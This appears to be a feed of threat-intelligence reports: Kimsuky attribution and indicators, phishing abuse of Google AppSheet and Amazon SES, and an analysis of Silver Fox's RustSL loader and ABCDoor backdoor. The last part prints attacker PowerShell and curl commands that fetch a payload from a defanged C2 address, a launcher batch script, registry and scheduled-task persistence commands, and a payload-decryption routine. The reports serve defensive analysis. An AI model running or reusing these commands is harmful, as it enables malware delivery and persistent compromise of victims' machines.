 ],
 "password": "eJwrynEqD0r294twTXLKCHWqDPLPCql0Kg/JDqpIdk4HAKYMCso=",
 "url_primary": "hxxps://www.dwservice[.]net/"
}

Infrastructure

For years, Kimsuky has relied heavily on the South Korea-based free domain hosting service 내도메인[.]한국 (pronounced as “naedomain[.]hankook) to mimic legitimate sites with domains like .p-e.kr, .o-r.kr, .n-e.kr, .r-e.kr, and .kro.kr. This service has been utilized to create C2 servers for PebbleDash and AppleSeed clusters, and the background infrastructures have been mostly resolved to the virtual private servers belonging to InterServer. It has also been noted that many other malicious actors have exploited this free domain hosting service, so it alone cannot be considered proof of a connection to Kimsuky.

The actor also occasionally exploits South Korean websites as C2 servers to evade network-IoC-based detection and increase the success rate of attacks. Furthermore, they actively leverage tunneling services such as Cloudflare Quick Tunnels, VSCode Tunneling, and Ngrok to hide their infrastructure. These traits are mostly observed across the PebbleDash cluster.

Victims

We identified multiple infection logs uploaded to the Dropbox storage used for httpMalice’s C2 server. They were analyzed as having been stolen from infected systems across various organizations or individuals in South Korea. Notably, each victim’s folder contained a user.txt file with detailed information such as target details, the presence of something named “http” (possibly a backdoor, such as httpTroy or httpMalice), DWAgent existence, and relationships between infected devices and targets. While we could not verify the exact creation process of these files, they were likely created manually by attackers to manage victims using Korean words.

Below you can see an example of this type of file content. In this context, “장악” means “take over” and “있음” means “exists”.

[Target's name] [Description] [Infection date] 장악, http 있음, DWService 있음.

While both clusters have mainly focused on targeting the private and public sectors in South Korea, the AppleSeed malware cluster shows more interest in government entities. The PebbleDash cluster has also shown particular interest in the defense sector worldwide.

Attribution

Over the past few years, we have observed two clusters using overlapping distribution methods – JSE, EXE, SCR, and PIF droppers. The targets are also increasingly aligning. Furthermore, we noted that several samples from both malware clusters were signed with the same stolen certificate and used identical mutex patterns. These findings suggest that a single actor is likely controlling both clusters and has the capability to modify code as needed. This concept was also described in another research paper at the Virus Bulletin conference.

Since its emergence, AppleSeed has been linked to Kimsuky operations, with each variant showing ties to the group. Since 2021, PebbleDash has been found exclusively in Kimsuky attacks. Based on our analysis of targets, infrastructure, and malware characteristics, we assess with medium-high confidence that attacks associated with these malware families are conducted by Kimsuky-affiliated clusters.

These two clusters share technical links to the threat actor known as Ruby Sleet, one of the names Microsoft uses for Kimsuky activity. In previous reports, Mandiant also referred to these clusters as Cerium, but now they appear to consider them part of the broader APT43 designation – another name for Kimsuky.

Conclusion

Our analysis shows that the actor retains access to the original source code of the malware clusters and the ability to modify it. Over time, malware undergoes updates and modifications, sometimes being repurposed or reused by other actors. Although analyzing malware may seem repetitive and time-consuming, understanding how these tools evolve helps us grasp the threat actor’s changing tactics.

Two clusters have overlapping target sectors that span the defense, military, government, medical, machinery, and energy industries. The AppleSeed cluster is shifting its focus to data exfiltration, and GPKI certificate extraction has become a signature capability. Meanwhile, the PebbleDash cluster demonstrates advanced remote control capabilities and an expanding set of targets.

Although AI may offer full automation for some attacks, many groups stick with the tools and strategies they have used for years. Structuring a fully automated attack is not trivial. Despite ongoing changes, we will continue to track advanced threat actors by comprehensively considering malware, initial vectors, targets, post-exploitation activities, and ultimate goals.

Indicators of compromise

File hashes

JSE Dropper
995a0a49ae4b244928b3f67e2bfd7a6e         [별지 제8호서식] 개인정보(열람 정정삭제 처리정지) 요구서(개인정보 보호법 시행규칙).hwp.jse
52f1ff082e981cbdfd1f045c6021c63f             2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류.hwpx.jse
9fe43e08c8f446554340f972dac8a68c          2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse
8e15c4d4f71bdd9dbc48cd2cabc87806         노현정님.pdf.jse

Reger Dropper
65fc9f06de5603e2c1af9b4f288bb22c                       security_20260126.scr
c19aeaedbbfc4e029f7e9bdface495b9                      secu.scr

Pidoc Dropper
8983ffa6da23e0b99ccc58c17b9788c7                      대국민서비스관리운영체계_현장점검_증적(초안).pif

AppleSeed (Dropper)
a7f0a18ac87e982d6f32f7a715e12532
f4465403f9693939fe9c439f0ab33610
5c373c2116ab4a615e622f577e22e9be

HappyDoor
d1ec20144c83bba921243e72c517da5e

MemLoad
58ac2f65e335922be3f60e57099dc8a3
f73ba062116ea9f37d072aa41c7f5108          jhsakqvv.dat

httpTroy
7e0825019d0de0c1c4a1673f94043ddb        c:\programdata\config.db

httpMalice
08160acf08fccecde7b34090db18b321
94faed9af49c98a89c8acc55e97276c9

HelloDoor
c42ae004badddd3017adadbdd1421e00

VSCode Tunnel installer
9ca5f93a732f404bbb2cee848f5bbda0                      xipbkmaw.exe

DWAgent installer
678fb1a87af525c33ba2492552d5c0e2

Domains and IPs

opedromos1.r-e[.]kr                            C2 of AppleSeed
morames.r-e[.]kr                                 C2 of AppleSeed
load.ssangyongcne.o-r[.]kr                 C2 of MemLoad
load.yju.o-r[.]kr                                   C2 of MemLoad
attach.docucloud.o-r[.]kr                    C2 of MemLoad
load.supershop.o-r[.]kr                       C2 of MemLoad
load.erasecloud.n-e[.]kr                     C2 of MemLoad

cms.spaceyou.o-r[.]kr                         C2 of HappyDoor
erp.spaceme.p-e[.]kr                          C2 of HappyDoor

file.bigcloud.n-e[.]kr                            C2 of httpTroy
load.auraria[.]org                                C2 of httpTroy

female-disorder-beta-metropolitan.trycloudflare[.]com         C2 of HelloDoor
hxxps://www.pyrotech.co[.]kr/common/include/tech/default.php      C2 of httpMalice
hxxp://newjo-imd[.]com/common/include/library/default.php            C2 of httpMalice
hxxps://www.yespp.co[.]kr/common/include/code/out.php               VSCode Tunneling using JScript

  •  

Thousands of Facebook accounts stolen by phishing emails sent through Google

Researchers have uncovered a long-running phishing operation that abuses trusted Google services to hijack tens of thousands of Facebook accounts.

The compromised Facebook accounts are mainly business and advertiser profiles, which criminals can monetize after gaining access and control.

The attackers found a way to send phishing emails that come “through Google,” making them look legitimate at first glance. The emails are sent via Google’s AppSheet platform, so they pass the usual technical checks (SPF, DKIM, DMARC), and many email filters treat them as trusted.

Google AppSheet is a development platform that lets people build mobile and web apps without writing code. It can automate workflows and notifications, typically used to send app-driven alerts and internal updates.

And that’s where the phishers abused it. The sender name can be customized, and the sending address may look something like noreply@appsheet.com, delivered through appsheet.bounces.google.com. To the average user, it looks like a perfectly normal notification, in these cases often about Facebook policy violations, copyright complaints, or verification issues.

Researchers linked these emails to a Vietnamese‑linked operation that has already compromised around 30,000 Facebook accounts and is still active.

The stolen accounts are mostly pages and business profiles that have financial value: advertising accounts, brand pages, and companies that rely on Facebook for marketing. Once inside, attackers run scams, place fraudulent ads, or sell access to others. In some cases, the same group offers “account recovery” services to fix the problems they created.


Scam or legit? Scam Guard knows.


No matter the lure, the goal is the same: Facebook credentials, 2FA codes, and recovery data. The phishing sites are just the entry point. Behind them is a fairly industrial infrastructure built around Telegram bots and channels to collect and process stolen data.

How to stay safe

This campaign is not “just another phishing mail.” It is one more example of how attackers exploit the trust we place in major platforms.

Facebook does not send complaints, verification requests, security checks, job offers, and other urgent messages through Google infrastructure.

  • Any email that claims your Facebook or Instagram account is about to be disabled, locked, or punished deserves extra scrutiny, especially if it demands action within 24 hours.
  • If you get a worrying message about your account, go directly to facebook.com or the Facebook app. Don’t click links in the message.
  • If a form asks for password, multiple 2FA codes, date of birthm phone number, and ID photos in one go, then stop. That’s the “full recovery pack” these attackers need to take over your account.
  • Set up 2FA for Facebook and set up login alerts for new devices and locations.
  • Be cautious with unusual messages from Facebook accounts. The account itself may be compromised.

Pro tip: Malwarebytes Scam Guard can help you spot phishing emails and messages on any platform. You can even use it in Claude and ChatGPT.


Someone’s watching your accounts. Make sure it’s us.


  •  

“Legitimate” phishing: how attackers weaponize Amazon SES to bypass email security

Introduction

The primary goal for attackers in a phishing campaign is to bypass email security and trick the potential victim into revealing their data. To achieve this, scammers employ a wide range of tactics, from redirect links to QR codes. Additionally, they heavily rely on legitimate sources for malicious email campaigns. Specifically, we’ve recently observed an uptick in phishing attacks leveraging Amazon SES.

The dangers of Amazon SES abuse

Amazon Simple Email Service (Amazon SES) is a cloud-based email platform designed for highly reliable transactional and marketing message delivery. It integrates seamlessly with other products in Amazon’s cloud ecosystem, AWS.

At first glance, it might seem like just another delivery channel for email phishing, but that isn’t the case. The insidious nature of Amazon SES attacks lies in the fact that attackers aren’t using suspicious or dangerous domains; instead, they are leveraging infrastructure that both users and security systems have grown to trust. These emails utilize SPF, DKIM, and DMARC authentication protocols, passing all standard provider checks, and almost always contain .amazonses.com in the Message-ID headers. Consequently, from a technical standpoint, every email sent via Amazon SES – even a phishing one – looks completely legitimate.

Phishing URLs can be masked with redirects: a user sees a link like amazonaws.com in the email and clicks it with confidence, only to be sent to a phishing site rather than a legitimate one. Amazon SES also allows for custom HTML templates, which attackers use to craft more convincing emails. Because this is legitimate infrastructure, the sender’s IP address won’t end up on reputation-based blocklists. Blocking it would restrict all incoming mail sent through Amazon SES. For major services, that kind of measure is ineffective, as it would significantly disrupt user workflows due to a massive number of false positives.

How compromise happens

In most cases, attackers gain access to Amazon SES through leaked IAM (AWS Identity and Access Management) access keys. Developers frequently leave these keys exposed in public GitHub repositories, ENV files, Docker images, configuration backups, or even in publicly accessible S3 buckets. To hunt for these IAM keys, phishers use various tools, such as automated bots based on the open-source utility TruffleHog, which is designed for detecting leaked secrets. After verifying the key’s permissions and email sending limits, attackers are equipped to spread a massive volume of phishing messages.

Examples of phishing with Amazon SES

In early 2026, one of the most common themes in phishing emails sent with Amazon SES was fake notifications from electronic signature services.

Phishing email imitating a Docusign notification

Phishing email imitating a Docusign notification

The email’s technical headers confirm that it was sent with Amazon SES. At first glance, it all looks legitimate enough.

Phishing email headers

Phishing email headers

In these emails, the victim is typically asked to click a link to review and sign a specific document.

Phishing email with a "document"

Phishing email with a “document”

Upon clicking the link, the user is directed to a sign-in form hosted on amazonaws.com. This can easily mislead the victim, convincing them that what they’re doing is safe.

Phishing sign-in form

Phishing sign-in form

The resulting form is, of course, a phishing page, and any data entered into it goes directly to the attackers.

Amazon SES and BEC

However, Amazon SES is used for more than just standard phishing; it’s also a vehicle for a very sophisticated type of BEC campaigns. In one case we investigated, a fraudulent email appeared to contain a series of messages exchanged between an employee of the target organization and a service provider about an outstanding invoice. The email was sent as if from that employee to the company’s finance department, requesting urgent payment.

BEC email featuring a fake conversation between an employee and a vendor

BEC email featuring a fake conversation between an employee and a vendor

The PDF attachments didn’t contain any malicious phishing URLs or QR codes, only payment details and supporting documentation.

Forged financial documents

Forged financial documents

Naturally, the email didn’t originate with the employee, but with an attacker impersonating them. The entire thread quoted within the email was actually fabricated, with the messages formatted to appear as a legitimate forwarded thread to a cursory glance. This type of attack aims to lower the user’s guard and trick them into transferring funds to the scammers’ account.

Takeaways

Phishing via Amazon SES experienced an uptick in January 2026 and has remained relatively steady through Q1. By weaponizing this service, attackers avoid the effort of building dubious domains and mail infrastructure from scratch. Instead, they hijack existing access keys to gain the ability to blast out thousands of phishing emails. These messages pass email authentication, originate from IP addresses that are unlikely to be blocklisted, and contain links to phishing forms that look entirely legitimate.

Since these Amazon SES phishing attacks stem from compromised or leaked AWS credentials, prioritizing the security of these accounts is critical. To mitigate these risks, we recommend following these guidelines:

  • Implement the principle of least privilege when configuring IAM access keys, granting elevated permissions only to users who require them for specific tasks.
  • Transition from IAM access keys to roles when configuring AWS; these are profiles with specific permissions that can be assigned to one or several users.
  • Enable multi-factor authentication, an ever-relevant step.
  • Configure IP-based access restrictions.
  • Set up automated key rotation and run regular security audits.
  • Use the AWS Key Management Service to encrypt data with unique cryptographic keys and manage them from a centralized location.

We recommend that users remain vigilant when handling email. Do not determine whether an email is safe based solely on the From field. If you receive unexpected documents via email, a prudent precaution is to verify the request with the sender through a different communication channel. Always carefully inspect where links in the body of an email actually lead. Additionally, robust email security solutions can provide an essential layer of protection for both corporate and personal correspondence.

  •  

Silver Fox uses the new ABCDoor backdoor to target organizations in Russia and India

In December 2025, we detected a wave of malicious emails designed to look like official correspondence from the Indian tax service. A few weeks later, in January 2026, a similar campaign began targeting Russian organizations. We have attributed this activity to the Silver Fox threat group.

Both waves followed a nearly identical structure: phishing emails were styled as official notices regarding tax audits or prompted users to download an archive containing a “list of tax violations”. Inside the archive was a modified Rust-based loader pulled from a public repository. This loader would download and execute the well-known ValleyRAT backdoor. The campaign impacted organizations across the industrial, consulting, retail, and transportation sectors, with over 1600 malicious emails recorded between early January and early February.

During our investigation, we also discovered that the attackers were delivering a new ValleyRAT plugin to victim devices, which functioned as a loader for a previously undocumented Python-based backdoor. We have named this backdoor ABCDoor. Retrospective analysis reveals that ABCDoor has been part of the Silver Fox arsenal since at least late 2024 and has been utilized in real-world attacks from the first quarter of 2025 to the present day.

Email campaign

In the January campaign, victims received an email purportedly from the tax service with an attached PDF file.

Phishing email sent to victims in Russia

Phishing email sent to victims in Russia

The PDF contained two clickable links to download an archive, both leading to a malicious website: abc.haijing88[.]com/uploads/фнс/фнс.zip.

Contents of the PDF file from the January phishing wave

Contents of the PDF file from the January phishing wave

Contents of the фнс.zip archive

Contents of the фнс.zip archive

In the December campaign, the malicious code was embedded directly within the files attached to the email.

Phishing email sent to victims in India

Phishing email sent to victims in India

The email shown in the screenshot above was sent via the SendGrid cloud platform and contained an archive named ITD.-.rar. Inside was a single executable file, Click File.exe, with an Adobe PDF icon (the RustSL loader).

Contents of ITD.-.rar

Contents of ITD.-.rar

Additionally, in late December, emails were distributed with an attachment titled GST.pdf containing two links leading to hxxps://abc.haijing88[.]com/uploads/印度邮箱/CBDT.rar. (印度邮箱 translates from Chinese as “Indian mailbox”).

PDF file from the phishing email

PDF file from the phishing email

Both versions of the campaign attempt to exploit the perceived importance of tax authority correspondence to convince the victim to download the document and initiate the attack chain. The method of using download links within a PDF is specifically designed to bypass email security gateways; since the attached document only contains a link that requires further analysis, it has a higher probability of reaching the recipient compared to an attachment containing malicious code.

RustSL loader

The attackers utilized a modified version of a Rust-based loader called RustSL, whose source code is publicly available on GitHub with a description in Chinese:

Screenshot of the description from the RustSL loader GitHub project

Screenshot of the description from the RustSL loader GitHub project

The description also refers to RustSL as an antivirus bypass framework, as it features a builder with extensive customization options:

  • Eight payload encryption methods
  • Thirteen memory allocation methods
  • Twelve sandbox and virtual machine detection techniques
  • Thirteen payload execution methods
  • Five payload encoding methods

Furthermore, the original version of RustSL encrypts all strings by default and inserts junk instructions to complicate analysis.

The Silver Fox APT group first began using a modified version of RustSL in late December 2025.

Silver Fox RustSL

This section examines the key changes the Silver Fox group introduced to RustSL. We will refer to this customized version as Silver Fox RustSL to distinguish it from the original.

The steganography.rs module

The attackers added a module named steganography.rs to RustSL. Despite the name, it has little to do with actual steganography; instead, it implements the unpacking logic for the malicious payload.

The usage of the new module within the Silver Fox RustSL code

The usage of the new module within the Silver Fox RustSL code

The threat actors also modified the RustSL builder to support the new format and payload packing.

The attackers employed several methods to deliver the encrypted malicious payload. In December, we observed files being downloaded from remote hosts followed by delivery within the loader itself. Later, the attackers shifted almost entirely to placing the malicious payload inside the same archive as the loader, disguised as a standalone file with extensions like PNG, HTM, MD, LOG, XLSX, ICO, CFG, MAP, XML, or OLD.

Encrypted malicious payload format

The encrypted payload file delivered by the Silver Fox RustSL loader followed this structure:

<RSL_START>rsl_encrypted_payload<RSL_END>

If additional payload encoding was selected in the builder, the loader would decode the data before proceeding with decryption.

The rsl_encrypted_payload followed this specific format:

char sha256_hash[32]; // decrypted payload hash
DWORD enc_payload_len;
WORD sgn_decoder_size;
char sgn_iterations;
char sgn_key;
char decoder[sgn_decoder_size];
char enc_payload[enc_payload_len];

Below is a description of the data blocks contained within it:

  • sha256_hash: the hash of the decrypted payload. After decryption, the loader calculates the SHA256 hash and compares it against this value; if they do not match, the process terminates.
  • enc_payload_len: the size of the encrypted payload
  • sgn_iterations and sgn_key: parameters used for decryption
  • sgn_decoder_size and decoder: unused fields
  • enc_payload: the primary payload

Notably, the new proprietary steganography.rs module was implemented using the same logic as the public RustSL modules (such as ipv4.rs, ipv6.rs, mac.rs, rc4.rs, and uuid.rs in the decrypt directory). It utilized a similar payload structure where the first 32 bytes consist of a SHA-256 hash and the payload size.

To decrypt the malicious payload, steganography.rs employed a custom XOR-based algorithm. Below is an equivalent implementation in Python:

def decrypt(data: bytes, sgn_key: int, sgn_iterations: int) -> bytes:
    buf = bytearray(data)
    xor_key = sgn_key & 0xFF

    for _ in range(sgn_iterations):
        k = xor_key
        for i in range(len(buf)):
            dec = buf[i] ^ k

            if k & 1:
                k = (dec ^ ((k >> 1) ^ 0xB8)) & 0xFF
            else:
                k = (dec ^ (k >> 1)) & 0xFF

            buf[i] = dec

    return bytes(buf)

The unpacking process consists of the following stages:

  1. Extraction of rsl_encrypted_payload.The loader extracts the encrypted payload body located between the <RSL_START> and <RSL_END> markers.

    Original file containing the encrypted malicious payload

    Original file containing the encrypted malicious payload

  2. XOR decryption with a hardcoded key.Most loaders used the hardcoded key RSL_STEG_2025_KEY.
  3. Payload decoding occurs if the corresponding setting was enabled in the builder.The GitHub version of the builder offers several encoding options: Base64, Base32, Hex, and urlsafe_base64. Silver Fox utilized each option at least once. Base64 was the most frequent choice, followed by Hex and Base32, with urlsafe_base64 appearing in a few samples.

    Encrypted malicious payload prior to the final decryption stage

    Encrypted malicious payload prior to the final decryption stage

  4. Decryption of the final payload using a multi-pass XOR algorithm that modifies the key after each iteration (as demonstrated in the Python algorithm provided above).

The guard.rs module

Another module added to Silver Fox RustSL is guard.rs. It implements various environment checks and country-based geofencing.

In the earliest loader samples from late December 2025, the Silver Fox group utilized every available method for detecting virtual machines and sandboxes, while also verifying if the device was located in a target country. In later versions, the group retained only the geolocation check; however, they expanded both the list of countries allowed for execution and the services used for verification.

The GitHub version of the loader only includes China in its country list. In customized Silver Fox loaders built prior to January 19, 2026, this list included India, Indonesia, South Africa, Russia, and Cambodia. Starting with a sample dated January 19, 2026 (MD5: e6362a81991323e198a463a8ce255533), Japan was added to the list.

To determine the host country, Silver Fox RustSL sends requests to five public services:

  • ip-api.com (the GitHub version relies solely on this service)
  • ipwho.is
  • ipinfo.io
  • ipapi.co
  • www.geoplugin.net

Phantom Persistence

We discovered that a loader compiled on January 7, 2026 (MD5: 2c5a1dd4cb53287fe0ed14e0b7b7b1b7), began to use the recently documented Phantom Persistence technique to establish persistence. This method abuses functionality designed to allow applications requiring a reboot for updates to complete the installation process properly. The attackers intercept the system shutdown signal, halt the normal shutdown sequence, and trigger a reboot under the guise of an update for the malware. Consequently, the loader forces the system to execute it upon OS startup. This specific sample was compiled in debug mode and logged its activity to rsl_debug.log, where we identified strings corresponding to the implementation of the Phantom Persistence technique:

[unix_timestamp] God-Tier Telemetry Blinding: Deployed via HalosGate Indirect Syscalls.
[unix_timestamp] RSL started in debug mode.
[unix_timestamp] ==========================================
[unix_timestamp]     Phantom Persistence Module (Hijack Mode) 
[unix_timestamp] ==========================================
[unix_timestamp] [*] Calling RegisterApplicationRestart...
[unix_timestamp] [+] RegisterApplicationRestart succeeded.
[unix_timestamp] [*] Note: This API mainly works for application crashes, not for user-initiated shutdowns.
[unix_timestamp] [*] For full persistence, you need to trigger the shutdown hijack logic.
[unix_timestamp] [*] Starting message thread to monitor shutdown events...
[unix_timestamp] [+] SetProcessShutdownParameters (0x4FF) succeeded.
[unix_timestamp] [+] Window created successfully, message loop started.
[unix_timestamp] [+] Phantom persistence enabled successfully.
[unix_timestamp] [*] Hijack logic: Shutdown signal -> Abort shutdown -> Restart with EWX_RESTARTAPPS.
[unix_timestamp] Phantom persistence enabled.
[unix_timestamp] Mouse movement check passed.
[unix_timestamp] IP address check passed.
[unix_timestamp] Pass Sandbox/VM detection.

Attack chain and payloads

During this phishing campaign, Silver Fox utilized two primary methods for delivering malicious archives:

  • As an email attachment
  • Via a link to an external attacker-controlled website contained within a PDF attachment

We also observed three different ways the payload was positioned relative to the loader:

  • Embedded within the loader body
  • Hosted on an external website as a PNG image
  • Placed within the same archive as the loader

The diagram below illustrates the attack chain using the example of an email containing a PDF file and the subsequent delivery of a malicious payload from an external attacker-controlled website.

Attack chain of the campaign utilizing the RustSL loader

Attack chain of the campaign utilizing the RustSL loader

The infection chain begins when the user runs an executable file (the Silver Fox modification of the RustSL loader) disguised with a PDF or Excel icon. RustSL then loads an encrypted payload, which functions as shellcode. This shellcode then downloads an encrypted ValleyRAT (also known as Winos 4.0) backdoor module named 上线模块.dll from the attackers’ server. The filename translates from Chinese as “online-module.dll”, so for the sake of clarity, we’ll refer to it as the Online module.

Beginning of the decrypted payload: shellcode for loading the ValleyRAT (Winos 4.0) Online module

Beginning of the decrypted payload: shellcode for loading the ValleyRAT (Winos 4.0) Online module

The Online module proceeds to load the core component of ValleyRAT: the Login module (the original filename 登录模块.dll_bin translates from Chinese as “login-module.dll_bin”). This module manages C2 server communication, command execution, and the downloading and launching of additional modules.

The initial shellcode, as well as the Online and Login modules, utilize a configuration located at the end of the shellcode:

End of the decrypted payload: ValleyRAT (Winos 4.0) configuration

End of the decrypted payload: ValleyRAT (Winos 4.0) configuration

The values between the “|” delimiters are written in reverse order. By restoring the correct character sequence, we obtain the following string:

|p1:207.56.138[.]28|o1:6666|t1:1|p2:127.0.0.1|o2:8888|t2:1|p3:127.0.0.1|o3:80|t3:1|dd:1|cl:1|fz:飘诈|bb:1.0|bz:2025.11.16|jp:0|bh:0|ll:0|dl:0|sh:0|kl:0|bd:0|

The key configuration parameters in this string are:

  • p#, o#: IP addresses and ports of the ValleyRAT C2 servers in descending order of priority
  • bz: the creation date of the configuration

The Silver Fox group has long employed the infection chain described above – from the encrypted shellcode through the loading of the Login module – to deploy ValleyRAT. This procedure and its configuration parameters are documented in detail in industry reports: (1, 2, and 3).

Once the Login module is running, ValleyRAT enters command-processing mode, awaiting instructions from the C2. These commands include the retrieval and execution of various additional modules.

ValleyRAT utilizes the registry to store its configurations and modules:

Registry key Description
HKCU:\Console\0 For x86-based modules
HKCU:\Console\1 For x64-based modules
HKCU:\Console\IpDate Hardcoded registry location checked upon Login module startup
HKCU:\Software\IpDates_info Final configuration

The ValleyRAT builder leaked in March 2025 contained 20 primary and over 20 auxiliary modules. During this specific phishing campaign, we discovered that after the main module executed, it loaded two previously unseen modules with similar functionality. These modules were responsible for downloading and launching a previously undocumented Python-based backdoor we have dubbed ABCDoor.

Custom ValleyRAT modules

The discovered modules are named 保86.dll and 保86.dll_bin. Their parameters are detailed in the table below.

HKCU:\Console\0 registry key value Module name Library MD5 hash Compiled date and time (UTC)
fc546acf1735127db05fb5bc354093e0 保86.dll 4a5195a38a458cdd2c1b5ab13af3b393 2025-12-04 04:34:31
fc546acf1735127db05fb5bc354093e0 保86.dll e66bae6e8621db2a835fa6721c3e5bbe 2025-12-04 04:39:32
2375193669e243e830ef5794226352e7 保86.dll_bin e66bae6e8621db2a835fa6721c3e5bbe 2025-12-04 04:39:32

Of particular note is the PDB path found in all identified modules: C:\Users\Administrator\Desktop\bat\Release\winos4.0测试插件.pdb. In Chinese, 测试插件 translates to “test plugin”, which may suggest that these modules are still in development.

Upon execution, the 保86.dll module determines the host country by querying the same five services used by the guard.rs module in Silver Fox RustSL: ipinfo.io, ip-api.com, ipapi.co, ipwho.is, and geoplugin.net. For the module to continue running, the infected device must be located in one of the following countries:

Countries where the 保86.dll module functions

Countries where the 保86.dll module functions

If the geolocation check passes, the module attempts to download a 52.5 MB archive from a hardcoded address using several methods. The sample with MD5 4a5195a38a458cdd2c1b5ab13af3b393 queried hxxp://154.82.81[.]205/YD20251001143052.zip, while the sample with MD5 e66bae6e8621db2a835fa6721c3e5bbe queried
hxxp://154.82.81[.]205/YN20250923193706.zip.

Interestingly, Silver Fox updated the YD20251001143052.zip archive multiple times but continued to host it on the same C2 (154.82.81[.]205) without changing the filename.

The module implements the following download methods:

  1. Using the InternetReadFile function with the User-Agent PythonDownloader
  2. Using the URLDownloadToFile function
  3. Using PowerShell:
    powershell.exe -Command "& {[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $ProgressPreference = 'SilentlyContinue'; try { Invoke-WebRequest -Uri 'hxxp://154.82.81[.]205/YD20251001143052.zip' -OutFile '$appdata\appclient\111.zip' -UseBasicParsing -TimeoutSec 600 } catch { exit 1 } }"
  4. Using curl:
    curl.exe -L -o "%LOCALAPPDATA%\appclient\111.zip" "hxxp://154.82.81[.]205/YD20251001143052.zip" --silent --show-error --insecure --max-time 600

The archive was saved to the path %LOCALAPPDATA%\appclient\111.zip.

Contents of the 111.zip archive

Contents of the 111.zip archive

The archive is quite large because the python directory contains a Python environment with the packages required to run the previously unknown ABCDoor backdoor (which we will describe in the next section), while the ffmpeg directory includes ffmpeg.exe, a statically linked, legitimate audio/video tool that the backdoor uses for screen capturing.

Once downloaded, the DLL module extracts the archive using COM methods and runs the following command to execute update.bat:

cmd.exe /c "C:\Users\<user>\AppData\Local\appclient\update.bat"

The update.bat script copies the extracted files to C:\ProgramData\Tailscale. This path was chosen intentionally: it corresponds to the legitimate utility Tailscale (a mesh VPN service based on the WireGuard protocol that connects devices into a single private network). By mimicking a VPN service, the attackers likely aim to mask their presence and complicate the analysis of the compromised system.

@echo off
set "script_dir=%~dp0"
set SRC_DIR=%script_dir%
set DES_DIR=C:\ProgramData\Tailscale

rmdir /s /q "%DES_DIR%"
mkdir "%DES_DIR%"
call :recursiveCopy "%SRC_DIR%" "%DES_DIR%"

start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient
exit /b

:recursiveCopy
set "src=%~1"
set "dest=%~2"
if not exist "%dest%" mkdir "%dest%"
for %%F in ("%src%\*") do (
    copy "%%F" "%dest%" >nul
)
for /d %%D in ("%src%\*") do (
    call :recursiveCopy "%%D" "%dest%\%%~nxD"
)
exit /b

Contents of update.bat
After copying the files, the script launches the appclient Python module using the legitimate pythonw tool:
start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient

ABCDoor Python backdoor

The primary entry point for the appclient module, the __main__.py file, contains only a few lines of code. These lines are responsible for utilizing the setproctitle library and executing the run function, to which the C2 address is passed as a parameter.

Code for main.py: the module entry point

Code for main.py: the module entry point

The setproctitle library is primarily used on Linux or macOS systems to change a displayed process name. However, its functionality is significantly limited on Windows; rather than changing the process name itself, it creates a named object in the format python(<pid>): <proctitle>. For example, for the appclient module, this object would appear as follows:

\Sessions\1\BaseNamedObjects\python(8544): AppClientABC

We believe the use of setproctitle may indicate the existence of backdoor versions for non-Windows systems, or at least plans to deploy it in such environments.

The appclient.core module has a PYD extension and is a DLL file compiled with Cython 3.0.7. This is the core module of the backdoor, which we have named ABCDoor because nearly all identified C2 addresses featured the third-level domain abc.

Upon execution, the backdoor establishes persistence in the following locations:

  1. Windows registry: It adds "<path_to_pythonw.exe>" -m appclient to the value HKCU:\Software\Microsoft\Windows\CurrentVersion\Run:AppClient, e.g:
    "C:\Users\&lt;username&gt;\AppData\Local\appclient\python\pythonw.exe" -m appclient

    Persistence is established by executing the following command:
    cmd.exe /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "AppClient" /t REG_SZ /d "\"<path_to_pythonw.exe>\" -m appclient" /f"
  2. Task scheduler: The malware executes
    cmd.exe /c "schtasks /create /sc minute /mo 1 /tn "AppClient" /tr "<path_to_pythonw.exe> -m appclient" /f"

The command creates a task named “AppClient” that runs every minute.

The backdoor is built on the asyncio and Socket.IO Python libraries. It communicates with its C2 via HTTPS and uses event handlers to processes messages asynchronously. The backdoor follows object-oriented programming principles and includes several distinct classes:

  • MainManager: handles C2 connection and authorization (sending system metadata)
  • MessageManager: registers and executes message handlers
  • AutoStartManager: manages backdoor persistence
  • ClientManager: handles backdoor updates and removal
  • SystemInfoManager: collects data from the victim’s system, including screenshots
  • RemoteControlManager: enables remote mouse and keyboard control via the pynput library and manages screen recording (using the ScreenRecorder child class)
  • FileManager: performs file system operations
  • KeyboardManager: emulates keyboard input
  • ProcessManager: manages system processes
  • ClipboardManager: exfiltrates clipboard contents to the C2
  • CryptoManager: provides functions for encrypting and decrypting files and directories (currently limited to DPAPI; asymmetric encryption functions lack implementation)
  • Utils: auxiliary functions (file upload/download, archive management, error log uploading, etc.)
Backdoor strings with characteristic names

Backdoor strings with characteristic names

Upon connecting, ABCDoor sends an auth message to the C2 with the following information in JSON format:

"role": "client",
"device_info": {
	 "device_name": device_name,
 	"os_name": os_name,
	"os_version": os_version,
	"os_release": os_release,
	"device_id": device_id,
	"install_channel": "<channel_name_from_registry>", # optional field 
	"first_install_time": "<install_time_from_registry>", # optional field
},
"version": 157 # hard-coded ABCDoor version

The code for retrieving the device identifier (device_id) in the backdoor is somewhat peculiar:

device_id = Utility.get_machine_guid_via_file_func()
device_id = Utility.get_machine_guid_via_reg()

First, the get_machine_guid_via_file_func function attempts to read an identifier from the file %LOCALAPPDATA%\applogs\device.log. If the file does not exist, it is created and initialized with a random UUID4 value. However, immediately after this, the get_machine_guid_via_reg function overwrites the identifier obtained by the first function with the value from HKLM:\SOFTWARE\Microsoft\Cryptography:MachineGuid. This likely indicates a bug in the code.

The primary characteristic of this backdoor is the absence of typical remote control features, such as creating a remote shell or executing arbitrary commands. Instead, it implements two alternative methods for manipulating the infected device:

  • Emulating a double click while broadcasting the victim’s screen
  • A "file_open" message within the FileManager class, which calls the os.startfile function. This executes a specified file using the ShellExecute function and the default handler for that file extension

